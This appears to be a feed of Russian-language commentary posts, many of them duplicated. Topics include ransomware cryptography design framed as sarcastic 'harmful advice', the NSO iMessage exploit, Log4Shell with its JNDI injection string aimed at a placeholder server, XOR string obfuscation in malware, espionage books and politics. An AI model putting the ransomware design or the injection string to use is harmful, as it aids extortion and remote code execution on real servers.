Периодически сталкиваюсь с рансомварью, и не могу без зубной боли смотреть на происходящее. Вредные советы. Ransomrants
Для начала, нужно забыть про RSA и про отстук на сервер. Не смотря на кажущуюся простоту, правильно реализовать длинную арифметику, генерацию ключей и все-такое, могут чуть менее, чем все. Потому Curve25519 и ECDH. В билд зашивается публичный ключ кампании. После генерации общего секрета, секретный ключ системы уничтожается. Полученный ключ пропустить через хеш.
Чтобы не накосячить с дополнением файлов - потоковый шифр (AES-CTR или ChaCha20). В случае с AES должно быть две версии - софтверная и с поддержкой AESNI. Для ChaCha тоже есть быстрые векторизованные версии. Нет, блядь, не со stackoverflow. Не нужно там ничего менять.
Один хер, вы не понимаете, что можно менять, а что нельзя, и проверить, что все равботает правильно, после внесения изменений не получится. KAT-тесты. Дальше. Шифры сделаны так, что даже зная открытый и зашифрованный текст, не получится восстановить ключ (confussion по Шеннону), и это значит, что одного ключа достаточно на всю систему, отдельные ключи для файлов не нужны.
Зато нужны IV/Nonce. Так как потоковый шифр - сложение текста и гаммы, то M + K + K = M. Вектора инициализации даже не обязательно должны быть случайными, достаточно, чтобы они были уникальными для каждого файла.
Случайные числа для генерации ключей брать только из /dev/urandom и не забыть проверить, что вернул open. Для чтения каталогов под Windows есть Master File Table, под юниксами getdents (с буфером 32к), все остальное вам все равно не по зубам. Чтение-запись файлов - блоками по 128к.
Не пытайтесь обфусцировать шифрование. Вы что думаете, что это остановит реверсера или, что крупная компания просто возьмет и запустит ваш тестовый расшифровщик, не посмотрев, что у него внутри? No way. Не тратьте время.
На этом собственно все. Когда вас посадят в федеральную тюрьму, то не забудьте прислать открытку. За хорошее поведение вам дадут доступ к email, вот такой:
Для начала, нужно забыть про RSA и про отстук на сервер. Не смотря на кажущуюся простоту, правильно реализовать длинную арифметику, генерацию ключей и все-такое, могут чуть менее, чем все. Потому Curve25519 и ECDH. В билд зашивается публичный ключ кампании. После генерации общего секрета, секретный ключ системы уничтожается. Полученный ключ пропустить через хеш.
Чтобы не накосячить с дополнением файлов - потоковый шифр (AES-CTR или ChaCha20). В случае с AES должно быть две версии - софтверная и с поддержкой AESNI. Для ChaCha тоже есть быстрые векторизованные версии. Нет, блядь, не со stackoverflow. Не нужно там ничего менять.
Один хер, вы не понимаете, что можно менять, а что нельзя, и проверить, что все равботает правильно, после внесения изменений не получится. KAT-тесты. Дальше. Шифры сделаны так, что даже зная открытый и зашифрованный текст, не получится восстановить ключ (confussion по Шеннону), и это значит, что одного ключа достаточно на всю систему, отдельные ключи для файлов не нужны.
Зато нужны IV/Nonce. Так как потоковый шифр - сложение текста и гаммы, то M + K + K = M. Вектора инициализации даже не обязательно должны быть случайными, достаточно, чтобы они были уникальными для каждого файла.
Случайные числа для генерации ключей брать только из /dev/urandom и не забыть проверить, что вернул open. Для чтения каталогов под Windows есть Master File Table, под юниксами getdents (с буфером 32к), все остальное вам все равно не по зубам. Чтение-запись файлов - блоками по 128к.
Не пытайтесь обфусцировать шифрование. Вы что думаете, что это остановит реверсера или, что крупная компания просто возьмет и запустит ваш тестовый расшифровщик, не посмотрев, что у него внутри? No way. Не тратьте время.
На этом собственно все. Когда вас посадят в федеральную тюрьму, то не забудьте прислать открытку. За хорошее поведение вам дадут доступ к email, вот такой:
👍1
Рилити Виннер, в прошлом контрактор АНБ, после четырех лет в тюрьме за разглашение секретного документа, начала давать интервью, и это, пожалуй, одна из самых идиотских утечек в истории. Сразу после школы Рилити служила переводчиком в ВВС США - фарси, дари и пашто, именно на основе этих данных наносились удары дронами и у Рилити есть медаль "шестьсот врагов убитых в бою".
Веган, зоо- и эко-защитница, таким образом Виннер "помогала людям Афганистана". После почетной отставки из ВВС она попыталась поработать на ниве активизма, но в результате ей пришлось вернуться на работу в АНБ. Интересно, что дроны и рзвед. данные, на основе которых наносились удары не привлекли её внимания (процесс принятия решений по дронам сольет Дениел Хейл)
И уже через несколько месяцев, Виннер прямо с рабочего места (!) отослала отчет агентства о спир-фишинговых атаках РФ на избирательные комиссии в The Intercept. Чтобы "США не стали Соединенными Штатами Российской Федерации". Редакция не придумала ничего лучше, чем показать распечатанный документ АНБ, чтобы проверить его подлинность.
Конец был немного предсказуем. Желтые точки на документе - это MIC (Machine Identification Code), документ был распечатан на принтере "модели 54, серийный номер 29535218, 9 мая 2017 в 6:20 утра.
Веган, зоо- и эко-защитница, таким образом Виннер "помогала людям Афганистана". После почетной отставки из ВВС она попыталась поработать на ниве активизма, но в результате ей пришлось вернуться на работу в АНБ. Интересно, что дроны и рзвед. данные, на основе которых наносились удары не привлекли её внимания (процесс принятия решений по дронам сольет Дениел Хейл)
И уже через несколько месяцев, Виннер прямо с рабочего места (!) отослала отчет агентства о спир-фишинговых атаках РФ на избирательные комиссии в The Intercept. Чтобы "США не стали Соединенными Штатами Российской Федерации". Редакция не придумала ничего лучше, чем показать распечатанный документ АНБ, чтобы проверить его подлинность.
Конец был немного предсказуем. Желтые точки на документе - это MIC (Machine Identification Code), документ был распечатан на принтере "модели 54, серийный номер 29535218, 9 мая 2017 в 6:20 утра.
👍1
Чтобы там ни говорили злопыхатели из госспецсвязи, а я очень люблю отечественную науку. Во-первых, за то, что она есть. Во-вторых, за неомрачаемый мыслью полет фантазии. В конце ноября прошла научно-практическая конференция "информационно-телекоммуникационные системы и технологии и кибербезопасность. новые вызовы, новые задания". И даже опубликованы тезисы.
Мое внимание сразу привлекла статья кандидата физико-математических наук и немного доцента Оксаны Кубайчук. О генетико-пчелином (и генетико-муравьином) подходе к разложению чисел на множители. Те кто начал хихикать и кричать "киньте цього доцента в вулик", еще рано, крикните потом. Есть такие алгоритмы, и пчелиные, и муравьиные, роевые, генетические - задачи на оптимизацию.
Предположим, что нужно построить оптимальный маршрут, чтобы объехать по кругу все ебеня. Можно начать перебирать все возможные маршруты один за другим и запоминать те, что получше, но от этого можно быстро охуеть, даже на пару с суперкомпьютером.
Потому строим пачку случайных маршрутов, худшую половину выкидываем, а из оставшихся собираем еще столько же, меняя их случайным образом и объединяя куски между собой. Суть в том, что если входные параметры изменятся чуть-чуть, то и результат поменяется не слишком сильно, а если и сильно, то выкинем брак и начнем заново. А то что остается становится лучше с каждой попыткой. Есть и другие подходы кроме ГА, но можно и так.
Задача RSA (то есть разложение бипростых на множители) хотя и обитает в том же классе NP (но не NP-hard как коммивояжер, а NP-intermediate, но это не точно), но с оптимизацией не имеет ничего общего. Нужно перебрать √N чисел и найти делитель. Задача все-или-ничего. Либо делится без остатка, либо нет.
Давайте попробуем разложить на множители число 851. Сгенерируем пары (2, 31), (5, 17), (3, 11), (29, 13), и что-то не сходится. Все случайные пары одинаково бесполезны, среди них нет значений "получше" и "похуже". Или разделим на отрезки как предлагает автор (1, 9), (10, 19), (20, 30). Какой из них лучше, какой хуже? Никакой. Они ничем не отличаются. Нет целевой функции, потому отбор невозможен. И никакие пчелы и муравьи тут не помогут. Роевой интеллект тоже.
Но к примеру, можно представить число 851, как 900 - 49 и вспомнить, что a^2 - b^2 = (a + b)(a - b), и 30^2 - 7^2 = (30 + 7)*(30 - 7) = 851, и ответ 23 и 37. Пьер Ферма придумал этот фокус триста пятьдесят лет назад. Отряхнув лошадиный навоз с сапог, при свече писал. Эйлер мерз в Петербурге, от чего и умер. И зачем? Чтобы вы потом на него пчел и муравьев натравливали? С тех пор наука-кудесница не стояла на месте, и не только не остановилась на ρ-алгоритме Полларда (1975!), но и одарила нас ECM, QS и GNFS.
Дальше в сборнике еще пять статей о криптоанализе блочных шифров. Анекдот вспомнился. "Рыба живет в воде, шерсти у нее конечно нет, но вот если бы она у нее была, то в ней обязательно водились бы блохи…" Да, вы угадали, сперва пчелами, потом муравьями, а потом гибридным пчелино-муравьиным методом.
Там все еще хуже, чем с бипростыми, потому что функции в шифровании не только, мягко говоря, "немонотонные", а еще и сделанные так, чтобы изменения одного бита на входе меняли (в среднем) половину выхода. Весьма нелинейным способом.
Напомню, что конференция совместная Державна служба спеціального зв'язку та захисту інформації и ІСЗЗІ КПІ ім. Ігоря Сікорського, профильный институт и профильный рагуляйтер. Блокчейна еще не хватает с military-grade base64
Мое внимание сразу привлекла статья кандидата физико-математических наук и немного доцента Оксаны Кубайчук. О генетико-пчелином (и генетико-муравьином) подходе к разложению чисел на множители. Те кто начал хихикать и кричать "киньте цього доцента в вулик", еще рано, крикните потом. Есть такие алгоритмы, и пчелиные, и муравьиные, роевые, генетические - задачи на оптимизацию.
Предположим, что нужно построить оптимальный маршрут, чтобы объехать по кругу все ебеня. Можно начать перебирать все возможные маршруты один за другим и запоминать те, что получше, но от этого можно быстро охуеть, даже на пару с суперкомпьютером.
Потому строим пачку случайных маршрутов, худшую половину выкидываем, а из оставшихся собираем еще столько же, меняя их случайным образом и объединяя куски между собой. Суть в том, что если входные параметры изменятся чуть-чуть, то и результат поменяется не слишком сильно, а если и сильно, то выкинем брак и начнем заново. А то что остается становится лучше с каждой попыткой. Есть и другие подходы кроме ГА, но можно и так.
Задача RSA (то есть разложение бипростых на множители) хотя и обитает в том же классе NP (но не NP-hard как коммивояжер, а NP-intermediate, но это не точно), но с оптимизацией не имеет ничего общего. Нужно перебрать √N чисел и найти делитель. Задача все-или-ничего. Либо делится без остатка, либо нет.
Давайте попробуем разложить на множители число 851. Сгенерируем пары (2, 31), (5, 17), (3, 11), (29, 13), и что-то не сходится. Все случайные пары одинаково бесполезны, среди них нет значений "получше" и "похуже". Или разделим на отрезки как предлагает автор (1, 9), (10, 19), (20, 30). Какой из них лучше, какой хуже? Никакой. Они ничем не отличаются. Нет целевой функции, потому отбор невозможен. И никакие пчелы и муравьи тут не помогут. Роевой интеллект тоже.
Но к примеру, можно представить число 851, как 900 - 49 и вспомнить, что a^2 - b^2 = (a + b)(a - b), и 30^2 - 7^2 = (30 + 7)*(30 - 7) = 851, и ответ 23 и 37. Пьер Ферма придумал этот фокус триста пятьдесят лет назад. Отряхнув лошадиный навоз с сапог, при свече писал. Эйлер мерз в Петербурге, от чего и умер. И зачем? Чтобы вы потом на него пчел и муравьев натравливали? С тех пор наука-кудесница не стояла на месте, и не только не остановилась на ρ-алгоритме Полларда (1975!), но и одарила нас ECM, QS и GNFS.
Дальше в сборнике еще пять статей о криптоанализе блочных шифров. Анекдот вспомнился. "Рыба живет в воде, шерсти у нее конечно нет, но вот если бы она у нее была, то в ней обязательно водились бы блохи…" Да, вы угадали, сперва пчелами, потом муравьями, а потом гибридным пчелино-муравьиным методом.
Там все еще хуже, чем с бипростыми, потому что функции в шифровании не только, мягко говоря, "немонотонные", а еще и сделанные так, чтобы изменения одного бита на входе меняли (в среднем) половину выхода. Весьма нелинейным способом.
Напомню, что конференция совместная Державна служба спеціального зв'язку та захисту інформації и ІСЗЗІ КПІ ім. Ігоря Сікорського, профильный институт и профильный рагуляйтер. Блокчейна еще не хватает с military-grade base64
👍1
Пожалуй, это станет моей любимой историей про автоматизацию и реинжениринг процессов вобще и в Украине в частности. Началось все с того, что у меня оказались все ингредиенты будущего борща кроме буряков и капусты, так что пришлось идти за ними в магазин. Борщ я затеял варить не как все нормальные люди днем, а как писал Ерофеев: в "самое бессильное и позорное время в жизни моего народа". С тех пор Советский Союз проиграл холодную войну и развалился, в связи с чем магазины стали работать круглосуточно и там появился херес. Так что мне досталось два отличных буряка, замечательная капуста, и пока загружался доисторический линукс в весах у меня было время подумать, так что я добавил к овощам банку пива. И ее мне отказались пробивать на кассе, потому что вдруг я буду шуметь, хулиганить и грызть свои буряки прямо у входа, распугивая капустой добропорядочных граждан. Никакие суды фашистам из КМДА не указ, о чем я постоянно забываю. Я уже было расстроился, но мне подсказали, что тут есть еще одна касса специально для таких случаев, к которой уже целеустремленно шел седовласый господин с чекушкой водки. Как мудро устроена наша жизнь, - думал я, обгоняя конкурента за внимание невыспавшихся продавцов. И что у меня попросили на секретной кассе? Думаете деньги? Нет, не деньги, хотя деньги конечно тоже попросили, но потом, а сперва - сертификат. Потому что - это не касса, а "бар". Шах и мат тебе Шон без телефона, шах и мат. В магазин без сертификата можно, а в "бар" посреди магазина без сертификата никак нельзя. Не положено. Выручил меня джентельмен с водкой, гордо доставший бумажный аусвайс в файлике. Старая школа. Одного сертификата на двоих оказалось достаточно. Осталось еще приложение какое-нибудь придумать.
👍3
Эксплоиты, программки, которые превращают уязвимости в софте во что-нибудь полезное (для хакера, не для вас) - отдельный вид современного искусства. Не знаю с чем сравнить. Сборка кораблика в бутылке с помощью трехметровой линейки с завязанными глазами? Поездка на машине, от которой вы по ходу дела отломали тормоза, колесо, и пытаетесь ей управлять с помощью лома, резинки от трусов и набора цветных карандашей? Как-то так.
Гугл распотрошил экслоит израильской NSO https://bit.ly/3mabxOl и это замечательная конструкция. Люди посылают друг другу смешные анимированные гифки (хотел бы я рассказать какие гифки есть в нашем секретном партийном чате, но меня тут же забанят). iMessage хочет, чтобы они крутились вечно. Для этого в заголовке GIF нужно поправить флажок, и чтобы не портить файл iMessage делает его копию. Казалось бы, что могло пойти не так?
По ошибке вместо копирования вызывается рендеринг картинок. А он уже на расширения файлов не смотрит. И NSO под видом гифки подсовывает PDF. А внутри PDF-ки картинка JBIG2 - это такой доисторический формат графики для ксероксов. Чтобы файлы получались маленькими, то он режет картинку на кусочки, и если куски, например буква "а" достаточно похожи между собой, то он использует один глиф для всего, как типографскую литеру.
Из-за этого случались многие беды https://bit.ly/3scwDiQ Кодек мог к примеру подумать что цифра 6 достаточно похожа на цифру 8, и заменить ее везде на картинках, чтобы сэконосить место. Потому в формат добавили маски - разницу между "похожим" глифом и тем, что нужно воспроизвести. И эти исправления накладываются на глиф с помощью операций AND, OR, XOR и XNOR. То есть эта штука тьюринг-полная. Любое мыслимое вычисление можно провести с помощью этих операций.
Дальше NSO использовали целочисленное переполнение, чтобы выйти за границы буфера и эта часть напоминает бутылку и кораблик. В результате они получили два основных примитива чтение и запись в произвольные места памяти. Если бы они хотели взломать одну конкретную версию софта, то этого бы хватило, но они захотели все и сразу. Для этого нужно знать, что и куда записывать.
И из доисторического графического формата они собрали полноценный виртуальный микрокомпьютер из 70 000 вентилей (те самые маски).
Нужно еще раз все перечислить, чтобы оценить проделанную NSO работу. Вам приходит гифка, которая на самом деле пдфка, и ее по ошибке, не копируют, а пытаются прочитать, в ней доисторическая картинка в формате ксероксов, которая в результате целочисленного переполнения может писать в память, и внутри этой "картинки" семьдесят тысяч блоков логических операций, которые эмулируют небольшой компьютер, который уже находит то место в памяти, которое нужно пропатчить, чтобы убежать из песочницы.
NSO продавали эту изящную вещицу негодяям и убийцам, но то как она сделана!..
Гугл распотрошил экслоит израильской NSO https://bit.ly/3mabxOl и это замечательная конструкция. Люди посылают друг другу смешные анимированные гифки (хотел бы я рассказать какие гифки есть в нашем секретном партийном чате, но меня тут же забанят). iMessage хочет, чтобы они крутились вечно. Для этого в заголовке GIF нужно поправить флажок, и чтобы не портить файл iMessage делает его копию. Казалось бы, что могло пойти не так?
По ошибке вместо копирования вызывается рендеринг картинок. А он уже на расширения файлов не смотрит. И NSO под видом гифки подсовывает PDF. А внутри PDF-ки картинка JBIG2 - это такой доисторический формат графики для ксероксов. Чтобы файлы получались маленькими, то он режет картинку на кусочки, и если куски, например буква "а" достаточно похожи между собой, то он использует один глиф для всего, как типографскую литеру.
Из-за этого случались многие беды https://bit.ly/3scwDiQ Кодек мог к примеру подумать что цифра 6 достаточно похожа на цифру 8, и заменить ее везде на картинках, чтобы сэконосить место. Потому в формат добавили маски - разницу между "похожим" глифом и тем, что нужно воспроизвести. И эти исправления накладываются на глиф с помощью операций AND, OR, XOR и XNOR. То есть эта штука тьюринг-полная. Любое мыслимое вычисление можно провести с помощью этих операций.
Дальше NSO использовали целочисленное переполнение, чтобы выйти за границы буфера и эта часть напоминает бутылку и кораблик. В результате они получили два основных примитива чтение и запись в произвольные места памяти. Если бы они хотели взломать одну конкретную версию софта, то этого бы хватило, но они захотели все и сразу. Для этого нужно знать, что и куда записывать.
И из доисторического графического формата они собрали полноценный виртуальный микрокомпьютер из 70 000 вентилей (те самые маски).
Нужно еще раз все перечислить, чтобы оценить проделанную NSO работу. Вам приходит гифка, которая на самом деле пдфка, и ее по ошибке, не копируют, а пытаются прочитать, в ней доисторическая картинка в формате ксероксов, которая в результате целочисленного переполнения может писать в память, и внутри этой "картинки" семьдесят тысяч блоков логических операций, которые эмулируют небольшой компьютер, который уже находит то место в памяти, которое нужно пропатчить, чтобы убежать из песочницы.
NSO продавали эту изящную вещицу негодяям и убийцам, но то как она сделана!..
👍11
Раз уж речь зашла об эксплоитах, то сложно пропустить беспощадную техасскую резню бензопилой, которая прямо сейчас происходит в Интернете. Такого не было со времен shellshock и heartbleed. Линус Торвальдс как-то сказал, что если есть достаточно глаз, все баги выплывают. И это конечно не совсем так. Грустная правда заключается в том, что люди не умеют писать надежный софт, и если бы строители строили дома так, как программисты пишут код, то первый же залетный дятел полностью разрушил бы цивилизацию.
В этот раз ошибка нашлась в популярной open-source библиотеке Log4j. Программисты любят добавлять фичи, ентерпрайз хочет быть готовым ко всему, включая высадку инопланетян. Потому среди многочисленных макросов (которые сами по себе зло) в Log4j есть поддержка JNDI и LDAP (что само по себе тяжкое наследие, Lighweight (облегченный) DAP придумали после того как выяснилось, что оригинальный DAP - настолько чудовищный выкидыш квадратно-гнездовой мысли, что пользоваться им не могут даже его собственные создатели). Даже не буду пытаться объяснять что это и почему оно такое страшное.
Достаточно пихнуть строку "${jndi:ldap://yourserver/}" куда угодно. В адресную строку сайта, в название Wi-Fi, в любое место, которое может попасть в логи, и если логами занимается Log4j, то библиотека попытается раскрыть макрос, затем обратится к вашему LDAP-серверу, который должен связать имя со ссылкой, с этой ссылки можно отдать небольшую програмку, и удаленный сервер её исполнит. Просто возьмет ваш код и запустит его у себя. И сейчас все, в названии чего встречается "j" - прекрасная добыча для хакеров всех мастей и расцветок.
Авторов библиотеки заваливают тоннами ненависти и зря. Лучше дайте им денег. Они вам ничего не должны. Лицензия Apache - тоже лицензия, и её нужно читать. Хотели бесплатно? Получите.
Не смотря на то, что Github начал мочить копии эксплоита (до того как его купил Майкрософт такого безобразия не было), он разошелся весьма широко. Кстати, если вы пользуетесь публичным сканером Log4Shell, то вы помогаете китайцам собрать самый полный список уязвимых хостов, потому что он пользуется китайской DNS-ловушкой dnslog.cn. Я понимаю, что поднять логирующий DNS-сервер для элитных похекеров непосильная задача, но нельзя же так.
В этот раз ошибка нашлась в популярной open-source библиотеке Log4j. Программисты любят добавлять фичи, ентерпрайз хочет быть готовым ко всему, включая высадку инопланетян. Потому среди многочисленных макросов (которые сами по себе зло) в Log4j есть поддержка JNDI и LDAP (что само по себе тяжкое наследие, Lighweight (облегченный) DAP придумали после того как выяснилось, что оригинальный DAP - настолько чудовищный выкидыш квадратно-гнездовой мысли, что пользоваться им не могут даже его собственные создатели). Даже не буду пытаться объяснять что это и почему оно такое страшное.
Достаточно пихнуть строку "${jndi:ldap://yourserver/}" куда угодно. В адресную строку сайта, в название Wi-Fi, в любое место, которое может попасть в логи, и если логами занимается Log4j, то библиотека попытается раскрыть макрос, затем обратится к вашему LDAP-серверу, который должен связать имя со ссылкой, с этой ссылки можно отдать небольшую програмку, и удаленный сервер её исполнит. Просто возьмет ваш код и запустит его у себя. И сейчас все, в названии чего встречается "j" - прекрасная добыча для хакеров всех мастей и расцветок.
Авторов библиотеки заваливают тоннами ненависти и зря. Лучше дайте им денег. Они вам ничего не должны. Лицензия Apache - тоже лицензия, и её нужно читать. Хотели бесплатно? Получите.
Не смотря на то, что Github начал мочить копии эксплоита (до того как его купил Майкрософт такого безобразия не было), он разошелся весьма широко. Кстати, если вы пользуетесь публичным сканером Log4Shell, то вы помогаете китайцам собрать самый полный список уязвимых хостов, потому что он пользуется китайской DNS-ловушкой dnslog.cn. Я понимаю, что поднять логирующий DNS-сервер для элитных похекеров непосильная задача, но нельзя же так.
👍2
Проект "договора с NATO", который выдала правопреемница империи зла - фантастическая наглость. Завораживает своей отбитостью. Эдакая машина времени, на которой газоспасаемая пытается вернуться в 1989 год. Тогда у Союза еще был шанс обменять объединение Германии на внеблоковый статус, тем более, что не всем в Европе нравилась роль Америки в архитектуре европейской безопасности, подкрепленная ядерными ракетами. Как шутили в Германии, чем короче радиус, тем мертвее немцы.
Были тогда в Европе идеи отказаться от НАТО и построить что-нибудь из CSCE/OSCE. И этот поезд давно ушел. Уже к моменту подписания соглашения "два плюс четыре", мишка начал грызть балайку от голода и все рычаги влияния куда-то проебались. Хотелось бы мне, чтобы и в Украине, точно так же как в свое время в странах вышеградской тройки, а затем странах балтии, понимали, что вопрос членства в НАТО, это как раз вопрос о том, с какой стороны от рва с крокодилами мы окажемся. Где проходит граница вменяемости.
Были тогда в Европе идеи отказаться от НАТО и построить что-нибудь из CSCE/OSCE. И этот поезд давно ушел. Уже к моменту подписания соглашения "два плюс четыре", мишка начал грызть балайку от голода и все рычаги влияния куда-то проебались. Хотелось бы мне, чтобы и в Украине, точно так же как в свое время в странах вышеградской тройки, а затем странах балтии, понимали, что вопрос членства в НАТО, это как раз вопрос о том, с какой стороны от рва с крокодилами мы окажемся. Где проходит граница вменяемости.
Люблю придумывать ответы на вопросы, которые никто не задает. Есть такая штука как шифр Вернама - случайная гамма побитно складывается с открытым текстом (обычный XOR). И то и другое в свое время пробивали на перфоленте в пятибитном телеграфном коде Бодо (единица скорости передачи информации "бод" названа в его честь). Если лента той же длины, что и текст и никогда не используется повторно, то это невзламываемый одноразовый блокнот.
С 1919 года много воды утекло, а я в очередной раз задумался об ошибках в шифровании, которые делают новички вроде Dark Leech и ЦРУ. И те, и другие погрязли в грехе и пользуются шифром Вернама с коротким ключом, чтобы скрыть строки от невооруженного глаза. Так как мальварь в основном пишется на Си, то есть одна особенность. Если символ ключа совпадает с символом открытого текста, то в результате побитного сложения получится ноль, а ноль в Си используется как маркер конца строки, то есть строка попросту обрежется.
Возникает вопрос, как сгенерировать XOR-ключ так, чтобы строки не обрезались? Отдельные уникумы пробуют случайные ключи до тех пор, пока все строки не начнут зашифровываться и расшифровываться правильно. И мы их за это презираем, конечно. Давайте, просто запишем все строки в виде последовательности бит, строка за строкой, а затем пройдемся по диагонали, меняя ноль на единицу, а единицу на ноль. Получившаяся из инвертированной диагонали строка отличается от каждой строки в таблице, как миниму одним битом https://bit.ly/3ef9LXu Георг Кантор в 1891 году доказал таким образом, что действительных чисел куда больше, чем натуральных. Фокус кажется простым только на первый взгляд.
Ричард Скрента автор одного из первых вирусов для Apple II, видимо чувствовал что-то подобное, потому в текстовой строке в Elk Cloner он выставил восьмой, бесполезный с точки зрения латиницы бит, наводя ужас на пользователей русской кодировки KOI-7/KOI-8: "иллегал яуантиты еррор" https://bit.ly/3H0hZzf Но принцип понятен, нужно подобрать ключ таким способом, чтобы он не мог совпасть ни с одним символом открытого текста. Достаточно обычного решета, чтобы отсеять символы ключа совпадающие сс текстом в определенной позиции.
Как говорится, не ракетостроение https://pastebin.com/UAH6PRNV
P.S. И делать так конечно не нужно. А как нужно - это уже полезный вопрос, так что как-нибудь в другой раз.
С 1919 года много воды утекло, а я в очередной раз задумался об ошибках в шифровании, которые делают новички вроде Dark Leech и ЦРУ. И те, и другие погрязли в грехе и пользуются шифром Вернама с коротким ключом, чтобы скрыть строки от невооруженного глаза. Так как мальварь в основном пишется на Си, то есть одна особенность. Если символ ключа совпадает с символом открытого текста, то в результате побитного сложения получится ноль, а ноль в Си используется как маркер конца строки, то есть строка попросту обрежется.
Возникает вопрос, как сгенерировать XOR-ключ так, чтобы строки не обрезались? Отдельные уникумы пробуют случайные ключи до тех пор, пока все строки не начнут зашифровываться и расшифровываться правильно. И мы их за это презираем, конечно. Давайте, просто запишем все строки в виде последовательности бит, строка за строкой, а затем пройдемся по диагонали, меняя ноль на единицу, а единицу на ноль. Получившаяся из инвертированной диагонали строка отличается от каждой строки в таблице, как миниму одним битом https://bit.ly/3ef9LXu Георг Кантор в 1891 году доказал таким образом, что действительных чисел куда больше, чем натуральных. Фокус кажется простым только на первый взгляд.
Ричард Скрента автор одного из первых вирусов для Apple II, видимо чувствовал что-то подобное, потому в текстовой строке в Elk Cloner он выставил восьмой, бесполезный с точки зрения латиницы бит, наводя ужас на пользователей русской кодировки KOI-7/KOI-8: "иллегал яуантиты еррор" https://bit.ly/3H0hZzf Но принцип понятен, нужно подобрать ключ таким способом, чтобы он не мог совпасть ни с одним символом открытого текста. Достаточно обычного решета, чтобы отсеять символы ключа совпадающие сс текстом в определенной позиции.
Как говорится, не ракетостроение https://pastebin.com/UAH6PRNV
P.S. И делать так конечно не нужно. А как нужно - это уже полезный вопрос, так что как-нибудь в другой раз.
👍1
С удовольствием наблюдаю за тем, как минцирк, отчаявшись загнать людей в самое лучшее приложение в мире, перешел от принуждения к подкупу, и скупает пользователей по $37 за доверчивую голову. Наиболее предприимчивые из них придумывают все новые и новые схемы обнала "вовиной тысячи". Как по мне дороговато, андроидная загрузка на черном рынке стоит пятерку. Однако, многие в ленте хвастаются новыми книжками, что радует.
Ладно, все побежали и я побежал (не за всратой тысячей конечно, а просто посмотреть, что я читал за последние пару недель).
Из старого, но хорошего "Circle of Treason" Граймс и Вертфей про то как ловили Рика Эймса - контрразведчика из ЦРУ шпионившего в пользу советов https://amzn.to/3sropna Он сдал десяток ценных агентов, большую часть расстреляли. Не смотря на дисклеймер "Все утверждения относительно фактов, мнений и аналитики авторские и не отражают официальную позицию или взгляды ЦРУ или других правительственных агентств США" книжка написана непосредственными участниками расследования. И как всегда бывает с подобными книжками, интересно не только то, что они говорят, но и то, о чем умалчивают.
В "Tower of Secrets" https://bit.ly/3ecjiyG, которую написал перебежчик из восьмого главного управления КГБ (связь и криптография) Виктор Шеймов, умолчания и "приветы" бывшим коллегам приобретают такой размах, что я, если честно, мучительно долго пытался отодрать сову от глобуса и, дочитав, отложил книгу с недоумением.
Шеймова долго считали погибшим ("убийство на Ждановской", то самое, когда пьяные мусора вальнули гебиста, закончившееся самоубийством министра Щелокова). Шеймова сдал Роберт Ханссен, контрразведчик ФБР и советский шпион, и я уже успел увязнуть в абсолютно лишних биографических подробностях в "Spy" Девида Вайза https://amzn.to/3FitTnO
Понравилась "Russians Among Us" Гордона Кореры https://amzn.to/3skIbk6 про российско-советских шпионов глубокого залегания, за которыми ФБР следили годами и летом 2010 года их решили брать. Нетривиальная задача, учитывая то, что часть нелегалов резко засобиралась в Москву, ЦРУ наоборот нужно было вытащить своего агента Потеева из Москвы, связной офицер под неофициальным прикрытием Метсос засветился на Кипре, а в Штаты приехал Медведев жрать бургеры, твитить в твиттеры и слушать про перезагрузку. Что-то пророческое есть в том, что когда Клинтон и Лавров нажимали на символическую красную кнопку, на ней по ошибке написали "перегрузка".
Рассматривался даже вариант прямым текстом сказать Медведеву, что эти штучки времен холодной войны пора прекращать. Но в отличии от "вагнеровцев", в итоге решили ничего не говорить, а шпионов арестовать. В качестве уступки, администрация Обамы попросила контриков подождать, пока наследник медвежонок сядет в самолет, и после арестов сами же попытались преуменьшить значимость операции. В самой РФ тема зашла на ура и, к примеру Глеб Павловский, говорил что поменяли "сертифицированных разведчиков на группу клоунов" https://bbc.in/3sokSpo
Клоуны, как же! На подготовку и работу с нелегалами, которые успешно выдают себя за американцев в Америке КГБ/СВР потратили десятилетия и миллионы долларов. Рухнула берлинская стена, Таманская и Кантемировская дивизии заезжали в Москву, танки хуярили по парламенту, первая чеченская, кто-то носил туда-сюда коробки из под ксерокса и голосовал, чтобы не проиграть, расширялось НАТО (на эту тему свеженькая "Not one inch" https://bit.ly/3J2AbtQ), а эти люди продолжали шпионить, как сукины дети.
Одним словом, чтобы не портить "reset" с Россией их быстро поменяли. На Сутягина, пару офицеров КГБ, работавших на ЦРУ и Скрипаля (того самого, которого россияне отравят в Солсбери). На описании того, как Путин вместе со своими шпионами поют хором в Кремле "С чего начинается родина..." я бы с удовольствием посмеялся, но вспомнил о том, что у нас Служба безпеки чуть менее, чем полностью состоит из неадекватных долбоебов, жадных пидорасов и российской агентуры под руководством клоунов, и стало как-то не смешно...
Ладно, все побежали и я побежал (не за всратой тысячей конечно, а просто посмотреть, что я читал за последние пару недель).
Из старого, но хорошего "Circle of Treason" Граймс и Вертфей про то как ловили Рика Эймса - контрразведчика из ЦРУ шпионившего в пользу советов https://amzn.to/3sropna Он сдал десяток ценных агентов, большую часть расстреляли. Не смотря на дисклеймер "Все утверждения относительно фактов, мнений и аналитики авторские и не отражают официальную позицию или взгляды ЦРУ или других правительственных агентств США" книжка написана непосредственными участниками расследования. И как всегда бывает с подобными книжками, интересно не только то, что они говорят, но и то, о чем умалчивают.
В "Tower of Secrets" https://bit.ly/3ecjiyG, которую написал перебежчик из восьмого главного управления КГБ (связь и криптография) Виктор Шеймов, умолчания и "приветы" бывшим коллегам приобретают такой размах, что я, если честно, мучительно долго пытался отодрать сову от глобуса и, дочитав, отложил книгу с недоумением.
Шеймова долго считали погибшим ("убийство на Ждановской", то самое, когда пьяные мусора вальнули гебиста, закончившееся самоубийством министра Щелокова). Шеймова сдал Роберт Ханссен, контрразведчик ФБР и советский шпион, и я уже успел увязнуть в абсолютно лишних биографических подробностях в "Spy" Девида Вайза https://amzn.to/3FitTnO
Понравилась "Russians Among Us" Гордона Кореры https://amzn.to/3skIbk6 про российско-советских шпионов глубокого залегания, за которыми ФБР следили годами и летом 2010 года их решили брать. Нетривиальная задача, учитывая то, что часть нелегалов резко засобиралась в Москву, ЦРУ наоборот нужно было вытащить своего агента Потеева из Москвы, связной офицер под неофициальным прикрытием Метсос засветился на Кипре, а в Штаты приехал Медведев жрать бургеры, твитить в твиттеры и слушать про перезагрузку. Что-то пророческое есть в том, что когда Клинтон и Лавров нажимали на символическую красную кнопку, на ней по ошибке написали "перегрузка".
